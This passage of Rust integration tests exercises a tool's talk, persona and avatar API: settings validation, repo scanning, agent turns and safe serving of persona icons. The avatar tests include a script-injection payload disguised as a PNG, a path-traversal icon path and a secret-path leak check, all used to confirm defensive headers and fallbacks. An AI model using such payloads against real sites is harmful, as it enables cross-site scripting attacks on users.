9246 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9247 Some(machine_text),
9248 );
9249 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9250 let rev = f.get("/api/settings").await.json()["revision"]
9251 .as_str()
9252 .expect("revision")
9253 .to_owned();
9254 for roles in [
9255 serde_json::json!({ "judges": ["nope"] }),
9256 serde_json::json!({ "reviewers": ["b"] }),
9257 serde_json::json!({ "bogus": ["a"] }),
9258 ] {
9259 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9260 let res = f.put("/api/settings/roles", &body).await;
9261 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9262 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9263 assert_eq!(
9264 std::fs::read_to_string(&machine).expect("machine"),
9265 machine_text
9266 );
9267 }
9268 }
9269
9270 #[tokio::test]
9271 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9272 let tmp = TempDir::new().expect("tempdir");
9273 let repo = tmp.path().join("repo");
9274 std::fs::create_dir_all(&repo).expect("repo dir");
9275 let root = tmp.path().join("root");
9276 make_checkout(&root, "github.com", "yukimemi", "magi");
9277 std::fs::write(
9278 repo.join("magi.toml"),
9279 format!(
9280 "[repos]\nroots = [{:?}]\n",
9281 root.to_string_lossy().into_owned()
9282 ),
9283 )
9284 .expect("write magi.toml");
9285
9286 let f = Fixture::with_repo(repo).await;
9287 let res = f.get("/api/repos").await;
9288 assert_eq!(res.status, 200, "{}", res.body);
9289 let list = res.json();
9290 let repos = list.as_array().expect("an array");
9291 assert_eq!(repos.len(), 1);
9292 assert_eq!(repos[0]["name"], "yukimemi/magi");
9293 assert!(
9294 repos[0]["path"]
9295 .as_str()
9296 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9297 "{list}"
9298 );
9299 }
9300
9301 #[tokio::test]
9302 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9303 let tmp = TempDir::new().expect("tempdir");
9304 let repo = tmp.path().join("repo");
9305 std::fs::create_dir_all(&repo).expect("repo dir");
9306 let root = tmp.path().join("root");
9307 make_checkout(&root, "github.com", "yukimemi", "magi");
9308 std::fs::write(
9309 repo.join("magi.toml"),
9310 format!(
9311 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9312 root.to_string_lossy().into_owned()
9313 ),
9314 )
9315 .expect("write magi.toml");
9316
9317 let f = Fixture::with_repo(repo).await;
9318 let first = f.get("/api/repos").await;
9319 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9320
9321 make_checkout(&root, "github.com", "yukimemi", "rvpm");
9324 let second = f.get("/api/repos").await;
9325 assert_eq!(
9326 second.json().as_array().map(Vec::len),
9327 Some(1),
9328 "a fresh cache must not rescan inside the TTL"
9329 );
9330
9331 let refreshed = f.get("/api/repos?refresh=1").await;
9332 assert_eq!(
9333 refreshed.json().as_array().map(Vec::len),
9334 Some(2),
9335 "an explicit refresh must rescan even inside the TTL"
9336 );
9337 }
9338
9339 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9345
9346 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9350 let tmp = TempDir::new().expect("tempdir");
9351 let repo = tmp.path().join("repo");
9352 std::fs::create_dir_all(&repo).expect("repo dir");
9353 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9354 let f = Fixture::with_repo(repo.clone()).await;
9355 (tmp, repo, f)
9356 }
9357
9358 #[tokio::test]
9359 async fn posting_a_talk_with_remembered_choices_is_soft() {
9360 let (_tmp, _repo, f) = talk_fixture().await;
9361
9362 let good = f
9363 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
9364 .await;
9365 assert_eq!(good.status, 201, "{}", good.body);
9366 assert_eq!(good.json()["persona"], "rei");
9367
9368 let stale = f
9370 .post(
9371 "/api/talks",
9372 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
9373 )
9374 .await;
9375 assert_eq!(stale.status, 201, "{}", stale.body);
9376 let v = stale.json();
9377 assert_eq!(v["implementers"], 1);
9378 assert_ne!(v["persona"], "nobody");
9379 let typed = f
9380 .post(
9381 "/api/talks",
9382 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
9383 )
9384 .await;
9385 assert_eq!(typed.status, 201, "{}", typed.body);
9386
9387 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
9389 assert!(
9390 !strict.status.to_string().starts_with('2'),
9391 "{}",
9392 strict.body
9393 );
9394 }
9395
9396 #[tokio::test]
9397 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9398 let (_tmp, _repo, f) = talk_fixture().await;
9399
9400 let opened = f.post("/api/talks", None).await;
9403 assert_eq!(opened.status, 201, "{}", opened.body);
9404 let body = opened.json();
9405 assert_eq!(body["status"], "open");
9406 assert_eq!(
9407 body["turns"].as_array().unwrap().len(),
9408 0,
9409 "opening takes no agent turn: there is nothing yet to answer"
9410 );
9411
9412 let also_opened = f.post("/api/talks", Some("{}")).await;
9414 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9415
9416 let listed = f.get("/api/talks").await.json();
9417 assert_eq!(listed.as_array().unwrap().len(), 2);
9418 }
9419
9420 #[tokio::test]
9421 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9422 let tmp = TempDir::new().expect("tempdir");
9423 let repo = tmp.path().join("repo");
9424 std::fs::create_dir_all(&repo).expect("repo dir");
9425 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9426 std::fs::write(
9427 repo.join("magi.toml"),
9428 format!("{MOCK_AGENT_TOML}\n{second}"),
9429 )
9430 .expect("write magi.toml");
9431 let home = TempDir::new().expect("temp home");
9432 let talks = Talks::at(home.path().join("talks"));
9433 let ui = Arc::new(
9434 Ui::new(
9435 Queue::at(home.path().join("queue")),
9436 Questions::at(home.path().join("questions")),
9437 talks.clone(),
9438 home.path().join("runs"),
9439 home.path().to_path_buf(),
9440 repo.clone(),
9441 )
9442 .with_worktrees_root(home.path().join("wt")),
9443 );
9444 let cfg = config_for(&repo).await.expect("discover config");
9445 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9446 let id = talk.id.clone();
9447 let call = |agent: &str| {
9448 talk_agent(
9449 State(Arc::clone(&ui)),
9450 Path(id.clone()),
9451 Json(TalkAgent {
9452 agent: agent.to_owned(),
9453 }),
9454 )
9455 };
9456
9457 let unknown = call("nobody").await.expect_err("unknown agent");
9458 assert_eq!(
9459 unknown.status,
9460 StatusCode::BAD_REQUEST,
9461 "{}",
9462 unknown.message
9463 );
9464
9465 {
9466 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9469 let busy = call("second").await.expect_err("busy talk");
9470 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9471 assert!(
9472 busy.message.contains("a talk turn is running"),
9473 "{}",
9474 busy.message
9475 );
9476 drop(guard);
9477 }
9478 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9479
9480 let Json(view) = call("second").await.expect("switch");
9481 assert_eq!(view.talk.agent, "second");
9482 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9483 let saved = talks.get(&id).expect("reload");
9484 assert_eq!(saved.agent, "second");
9485 assert_eq!(saved.turns.len(), 1);
9486
9487 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9488 .await
9489 .expect("detail");
9490 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9491 assert_eq!(roster, ["mock", "second"]);
9492
9493 let mut closed = talks.get(&id).expect("reload");
9494 talk::close(&mut closed, &talks).expect("close");
9495 let refused = call("mock").await.expect_err("closed talk");
9496 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9497 assert!(
9498 refused.message.contains("takes no more turns"),
9499 "{}",
9500 refused.message
9501 );
9502 }
9503
9504 #[tokio::test]
9505 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9506 let tmp = TempDir::new().expect("tempdir");
9507 let repo = tmp.path().join("repo");
9508 std::fs::create_dir_all(&repo).expect("repo dir");
9509 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9510 let home = TempDir::new().expect("temp home");
9511 let talks = Talks::at(home.path().join("talks"));
9512 let ui = Arc::new(
9513 Ui::new(
9514 Queue::at(home.path().join("queue")),
9515 Questions::at(home.path().join("questions")),
9516 talks.clone(),
9517 home.path().join("runs"),
9518 home.path().to_path_buf(),
9519 repo.clone(),
9520 )
9521 .with_worktrees_root(home.path().join("wt")),
9522 );
9523 let cfg = config_for(&repo).await.expect("discover config");
9524 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9525 let id = talk.id.clone();
9526 let call = |n: u8| {
9527 talk_implementers(
9528 State(Arc::clone(&ui)),
9529 Path(id.clone()),
9530 Json(TalkImplementers { implementers: n }),
9531 )
9532 };
9533
9534 for bad in [0u8, 4] {
9535 let e = call(bad).await.expect_err("out of range");
9536 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9537 }
9538 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9539
9540 {
9541 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9544 let busy = call(2).await.expect_err("busy talk");
9545 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9546 assert!(
9547 busy.message.contains("a talk turn is running"),
9548 "{}",
9549 busy.message
9550 );
9551 drop(guard);
9552 }
9553
9554 let Json(view) = call(3).await.expect("switch");
9555 assert_eq!(view.talk.implementers, 3);
9556 assert!(talks.get(&id).expect("reload").implementers_dirty);
9557
9558 let mut closed = talks.get(&id).expect("reload");
9559 talk::close(&mut closed, &talks).expect("close");
9560 let e = call(2).await.expect_err("closed talk");
9561 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9562 assert!(e.message.contains("takes no more turns"), "{}", e.message);
9563 }
9564
9565 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
9567 let tmp = TempDir::new().expect("tempdir");
9568 let repo = tmp.path().join("repo");
9569 std::fs::create_dir_all(&repo).expect("repo dir");
9570 std::fs::write(
9571 repo.join("magi.toml"),
9572 format!("{MOCK_AGENT_TOML}\n{extra}"),
9573 )
9574 .expect("write magi.toml");
9575 let home = TempDir::new().expect("temp home");
9576 let talks = Talks::at(home.path().join("talks"));
9577 let ui = Arc::new(
9578 Ui::new(
9579 Queue::at(home.path().join("queue")),
9580 Questions::at(home.path().join("questions")),
9581 talks.clone(),
9582 home.path().join("runs"),
9583 home.path().to_path_buf(),
9584 repo.clone(),
9585 )
9586 .with_worktrees_root(home.path().join("wt")),
9587 );
9588 let cfg = config_for(&repo).await.expect("discover config");
9589 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9590 (tmp, home, ui, talk.id, repo)
9591 }
9592
9593 async fn avatar(
9595 ui: &Arc<Ui>,
9596 id: &str,
9597 persona: Option<&str>,
9598 builtin: bool,
9599 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
9600 let res = talk_avatar(
9601 State(Arc::clone(ui)),
9602 Path(id.to_owned()),
9603 Query(AvatarQuery {
9604 persona: persona.map(str::to_owned),
9605 builtin: builtin.then(|| "1".to_owned()),
9606 }),
9607 )
9608 .await
9609 .expect("an avatar is never an error response");
9610 let h = res.headers();
9611 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
9612 let nosniff = h
9613 .get(header::X_CONTENT_TYPE_OPTIONS)
9614 .is_some_and(|v| v == "nosniff");
9615 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
9616 let status = res.status();
9617 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
9618 .await
9619 .expect("body")
9620 .to_vec();
9621 (status, ct, nosniff, csp, body)
9622 }
9623
9624 fn tiny_png() -> Vec<u8> {
9625 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
9626 b.extend_from_slice(&[0u8; 32]);
9627 b
9628 }
9629
9630 #[tokio::test]
9631 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
9632 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
9633 for p in [
9634 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
9635 ] {
9636 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
9637 assert_eq!(status, StatusCode::OK, "{p}");
9638 assert_eq!(ct, "image/svg+xml", "{p}");
9639 assert!(nosniff && csp, "{p}");
9640 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
9641 }
9642 let own = avatar(&ui, &id, None, false).await;
9644 let default = avatar(&ui, &id, Some("default"), false).await;
9645 assert_eq!(own.4, default.4);
9646 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
9647 assert_eq!(unknown.1, "image/svg+xml");
9648 }
9649
9650 #[tokio::test]
9651 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
9652 let dir = TempDir::new().expect("icons");
9653 let good = dir.path().join("good.png");
9654 std::fs::write(&good, tiny_png()).unwrap();
9655 let spoof = dir.path().join("spoof.png");
9656 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
9657 let big = dir.path().join("big.png");
9658 let mut bytes = tiny_png();
9659 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
9660 std::fs::write(&big, bytes).unwrap();
9661 let missing = dir.path().join("missing.png");
9662 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
9663 let extra = format!(
9664 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
9665 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
9666 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
9667 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
9668 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
9669 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
9670 uri(&good),
9671 uri(&spoof),
9672 uri(&big),
9673 uri(&missing),
9674 );
9675 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
9676
9677 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
9678 assert_eq!(
9679 (status, ct.as_str(), nosniff),
9680 (StatusCode::OK, "image/png", true)
9681 );
9682 assert_eq!(body, tiny_png());
9683 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
9684 assert_eq!(ct, "image/png", "data URI");
9685
9686 for p in ["misato", "asuka", "shinji", "magi"] {
9687 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
9688 assert_eq!(
9689 (status, ct.as_str(), csp),
9690 (StatusCode::OK, "image/svg+xml", true),
9691 "{p}"
9692 );
9693 assert!(body.starts_with(b"<svg"), "{p}");
9694 }
9695 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
9697 assert_eq!(ct, "image/svg+xml");
9698 }
9699
9700 #[tokio::test]
9701 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
9702 let oversized = format!(
9703 "data:image/png;base64,{}",
9704 "A".repeat(persona_icon::ICON_MAX_BYTES)
9705 );
9706 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
9707 let extra = format!(
9708 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
9709 );
9710 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
9711 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9712 .await
9713 .expect("detail with invalid icon");
9714 assert!(detail.personas.iter().any(|p| p.id == "custom"));
9715 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
9716 assert_eq!(status, StatusCode::OK);
9717 assert_eq!(ct, "image/svg+xml");
9718 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
9719 let Json(view) = talk_persona(
9720 State(Arc::clone(&ui)),
9721 Path(id.clone()),
9722 Json(TalkPersona {
9723 persona: "custom".into(),
9724 }),
9725 )
9726 .await
9727 .expect("persona switch with invalid icon");
9728 assert_eq!(view.talk.persona, "custom");
9729 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
9730 }
9731 }
9732
9733 #[tokio::test]
9734 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
9735 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
9736 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
9737 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
9738 assert_eq!(
9739 (status, ct.as_str(), nosniff, csp),
9740 (StatusCode::OK, "image/svg+xml", true, true)
9741 );
9742 }
9743
9744 #[tokio::test]
9745 async fn the_talk_view_carries_server_built_avatar_urls_only() {
9746 let (_t, _h, ui, id, _repo) =
9747 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
9748 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9749 .await
9750 .expect("detail");
9751 let json = serde_json::to_string(&detail).unwrap();
9752 assert!(
9753 !json.contains("secret"),
9754 "the icon setting must not leak: {json}"
9755 );
9756 assert!(
9757 detail
9758 .view
9759 .persona_avatar
9760 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
9761 );
9762 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
9763 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
9764 assert!(rei.avatar.contains("persona=rei&v="));
9765 assert_ne!(
9766 rei.avatar.split("&v=").nth(1),
9767 plain.avatar.split("&v=").nth(1)
9768 );
9769 }
9770
9771 #[tokio::test]
9772 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9773 let tmp = TempDir::new().expect("tempdir");
9774 let repo = tmp.path().join("repo");
9775 std::fs::create_dir_all(&repo).expect("repo dir");
9776 std::fs::write(
9777 repo.join("magi.toml"),
9778 format!(
9779 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9780 ),
9781 )
9782 .expect("write magi.toml");
9783 let home = TempDir::new().expect("temp home");
9784 let talks = Talks::at(home.path().join("talks"));
9785 let ui = Arc::new(
9786 Ui::new(
9787 Queue::at(home.path().join("queue")),
9788 Questions::at(home.path().join("questions")),
9789 talks.clone(),
9790 home.path().join("runs"),
9791 home.path().to_path_buf(),
9792 repo.clone(),
9793 )
9794 .with_worktrees_root(home.path().join("wt")),
9795 );
9796 let cfg = config_for(&repo).await.expect("discover config");
9797 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9798 let id = talk.id.clone();
9799 let call = |persona: &str| {
9800 talk_persona(
9801 State(Arc::clone(&ui)),
9802 Path(id.clone()),
9803 Json(TalkPersona {
9804 persona: persona.to_owned(),
9805 }),
9806 )
9807 };
9808
9809 let unknown = call("nobody").await.expect_err("unknown persona");
9810 assert_eq!(
9811 unknown.status,
9812 StatusCode::BAD_REQUEST,
9813 "{}",
9814 unknown.message
9815 );
9816
9817 {
9818 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9821 let busy = call("rei").await.expect_err("busy talk");
9822 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9823 assert!(
9824 busy.message.contains("a talk turn is running"),
9825 "{}",
9826 busy.message
9827 );
9828 drop(guard);
9829 }
9830 assert_eq!(talks.get(&id).expect("reload").persona, "");
9831
9832 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9833 assert_eq!(view.talk.persona, "gendo");
9834 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9835
9836 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9837 .await
9838 .expect("detail");
9839 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9840 assert_eq!(ids.first(), Some(&"default"));
9841 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9842
9843 let Json(view) = call("default").await.expect("back to default");
9844 assert_eq!(view.talk.persona, "");
9845
9846 let mut closed = talks.get(&id).expect("reload");
9847 talk::close(&mut closed, &talks).expect("close");
9848 let refused = call("rei").await.expect_err("closed talk");
9849 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9850 assert!(
9851 refused.message.contains("takes no more turns"),
9852 "{}",
9853 refused.message
9854 );
9855 }
9856
9857 #[tokio::test]
9858 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9859 let f = Fixture::start().await;
9860 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9861 let queue = f.queue();
9862 let mut mine = Task::new(
9863 "rename the loader".to_owned(),
9864 "rename the loader".to_owned(),
9865 PathBuf::from("/repo/magi"),
9866 Source::Agent {
9867 run: talk_id.clone(),
9868 node: "chat".to_owned(),
9869 },
9870 );
9871 queue.put(&mut mine).expect("file the task");
9872 let mut theirs = Task::new(
9873 "unrelated".to_owned(),
9874 "unrelated".to_owned(),
9875 PathBuf::from("/repo/magi"),
9876 Source::Human,
9877 );
9878 queue.put(&mut theirs).expect("file the task");
9879
9880 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9881 assert_eq!(res.status, 200, "{}", res.body);
9882 let body = res.json();
9883 assert_eq!(
9884 body["status"], "open",
9885 "filing a task does not close a talk"
9886 );
9887 let tasks = body["tasks"].as_array().expect("tasks array");
9888 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9889 assert_eq!(tasks[0]["id"], mine.id);
9890 }
9891
9892 #[tokio::test]
9893 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9894 let (_tmp, _repo, f) = talk_fixture().await;
9895 let id = f.post("/api/talks", None).await.json()["id"]
9896 .as_str()
9897 .expect("id")
9898 .to_owned();
9899
9900 let res = f
9901 .post(
9902 &format!("/api/talks/{id}/say"),
9903 Some(r#"{"text":"what does the queue module do?"}"#),
9904 )
9905 .await;
9906 assert_eq!(res.status, 202, "{}", res.body);
9907 let queued = res.json();
9908 let turns = queued["turns"].as_array().expect("turns array");
9909 assert_eq!(
9910 turns.len(),
9911 1,
9912 "the answer reflects only what is on disk the instant it is sent, \
9913 before the agent's turn - which can run for the whole of \
9914 `[graph] timeout_talk` - has a chance to land: {queued}"
9915 );
9916 assert_eq!(turns[0]["who"], "operator");
9917 assert_eq!(turns[0]["body"], "what does the queue module do?");
9918 assert_eq!(
9919 queued["thinking"], true,
9920 "the accepted response exposes the background turn claim: {queued}"
9921 );
9922
9923 let mut turns_after = 1;
9924 for _ in 0..SETTLE_STEPS {
9925 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9926 turns_after = detail["turns"].as_array().expect("turns array").len();
9927 if turns_after == 2 {
9928 break;
9929 }
9930 tokio::time::sleep(Duration::from_millis(10)).await;
9931 }
9932 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9933 }
9934
9935 #[tokio::test]
9962 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9963 let tmp = TempDir::new().expect("tempdir");
9964 let repo = tmp.path().join("repo");
9965 std::fs::create_dir_all(&repo).expect("repo dir");
9966 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9967 let home = TempDir::new().expect("temp home");
9968 let talks = Talks::at(home.path().join("talks"));
9969 let ui = Arc::new(
9970 Ui::new(
9971 Queue::at(home.path().join("queue")),
9972 Questions::at(home.path().join("questions")),
9973 talks.clone(),
9974 home.path().join("runs"),
9975 home.path().to_path_buf(),
9976 repo.clone(),
9977 )
9978 .with_worktrees_root(home.path().join("wt")),
9979 );
9980 let cfg = config_for(&repo).await.expect("discover config");
9981
9982 for delay in 0..40u32 {
9983 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9984 let id = talk.id.clone();
9985
9986 let handler = tokio::spawn(talk_say(
9987 State(Arc::clone(&ui)),
9988 Path(id.clone()),
9989 Ok(Json(NewTalkTurn {
9990 text: "what does the queue module do?".to_owned(),
9991 attachments: Vec::new(),
9992 })),
9993 ));
9994 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9995 handler.abort();
9996 let _ = handler.await;
9999
10000 let mut turns = 0;
10001 for _ in 0..SETTLE_STEPS {
10002 if let Ok(fresh) = talks.get(&id) {
10003 turns = fresh.turns.len();
10004 if turns != 1 {
10005 break;
10006 }
10007 }
10008 tokio::time::sleep(Duration::from_millis(10)).await;
10009 }
10010 assert_ne!(
10011 turns, 1,
10012 "delay {delay}: talk {id} recorded the operator's turn but \
10013 the agent never answered - the reply task was never \
10014 started after the handler future was dropped"
10015 );
10016 }
10017 }
10018
10019 #[tokio::test]
10064 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10065 let tmp = TempDir::new().expect("tempdir");
10066 let repo = tmp.path().join("repo");
10067 std::fs::create_dir_all(&repo).expect("repo dir");
10068 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10069 let home = TempDir::new().expect("temp home");
10070 let talks = Talks::at(home.path().join("talks"));
10071 let ui = Arc::new(
10072 Ui::new(
10073 Queue::at(home.path().join("queue")),
10074 Questions::at(home.path().join("questions")),
10075 talks.clone(),
10076 home.path().join("runs"),
10077 home.path().to_path_buf(),
10078 repo.clone(),
10079 )
10080 .with_worktrees_root(home.path().join("wt")),
10081 );
10082 let cfg = config_for(&repo).await.expect("discover config");
10083
10084 for attempt in 0..3u32 {
10085 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10086 let id = talk.id.clone();
10087 let turn_guard = ui
10090 .begin_talk_turn(&id)
10091 .expect("claim the turn")
10092 .expect("a fresh talk owes nobody a turn");
10093
10094 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10095 let (release_tx, release_rx) = std::sync::mpsc::channel();
10096 ui.set_busy_queue_gate(BusyQueueGate {
10097 reached: reached_tx,
10098 release: release_rx,
10099 });
10100
10101 let handler = tokio::spawn(talk_say(
10102 State(Arc::clone(&ui)),
10103 Path(id.clone()),
10104 Ok(Json(NewTalkTurn {
10105 text: "what does the queue module do?".to_owned(),
10106 attachments: Vec::new(),
10107 })),
10108 ));
10109
10110 tokio::time::timeout(Duration::from_secs(5), reached_rx)
10115 .await
10116 .unwrap_or_else(|_| {
10117 panic!(
10118 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10119 )
10120 })
10121 .expect("the busy branch dropped the gate without using it");
10122
10123 let running = talks.get(&id).expect("reload talk");
10130 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10131
10132 handler.abort();
10136 let _ = handler.await;
10137
10138 let _ = release_tx.send(());
10144
10145 let mut fresh = talks.get(&id).expect("reload talk");
10148 for _ in 0..SETTLE_STEPS {
10149 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10150 break;
10151 }
10152 tokio::time::sleep(Duration::from_millis(10)).await;
10153 fresh = talks.get(&id).expect("reload talk");
10154 }
10155 assert!(
10156 fresh.pending.is_empty() && fresh.turns.len() == 2,
10157 "attempt {attempt}: talk {id} left the operator's text queued \
10158 with no drainer - the reclaimed turn was dropped along with \
10159 the handler future (pending {:?}, {} turns)",
10160 fresh.pending,
10161 fresh.turns.len()
10162 );
10163 }
10164 }
10165
10166 #[tokio::test]
10167 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
10168 let (_tmp, _repo, f) = talk_fixture().await;
10169 let id = f.post("/api/talks", None).await.json()["id"]
10170 .as_str()
10171 .expect("id")
10172 .to_owned();
10173 let store = f.talks();
10174 let mut recovered = store.get(&id).expect("opened talk");
10175 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10176 .expect("persist pending draft without a live turn");
10177
10178 let edited = f
10179 .post(
10180 &format!("/api/talks/{id}/pending/edit"),
10181 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
10182 )
10183 .await;
10184 assert_eq!(edited.status, 200, "{}", edited.body);
10185 assert!(edited.json()["thinking"].as_bool().unwrap());
10186
10187 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
10188 for _ in 0..SETTLE_STEPS {
10189 if detail["turns"].as_array().expect("turns").len() == 2 {
10190 break;
10191 }
10192 tokio::time::sleep(Duration::from_millis(10)).await;
10193 detail = f.get(&format!("/api/talks/{id}")).await.json();
10194 }
10195 let turns = detail["turns"].as_array().expect("turns");
10196 assert_eq!(
10197 turns.len(),
10198 2,
10199 "the recovered draft must run once: {detail}"
10200 );
10201 assert_eq!(turns[0]["body"], "corrected");
10202 assert_eq!(detail["pending"], "");
10203 }
10204
10205 #[tokio::test]
10206 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
10207 let tmp = TempDir::new().expect("tempdir");
10208 let repo = tmp.path().join("repo");
10209 std::fs::create_dir_all(&repo).expect("repo dir");
10210 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10211 let f = Fixture::with_repo(repo).await;
10212 let id = f.post("/api/talks", None).await.json()["id"]
10213 .as_str()
10214 .expect("id")
10215 .to_owned();
10216 let store = f.talks();
10217 let mut recovered = store.get(&id).expect("opened talk");
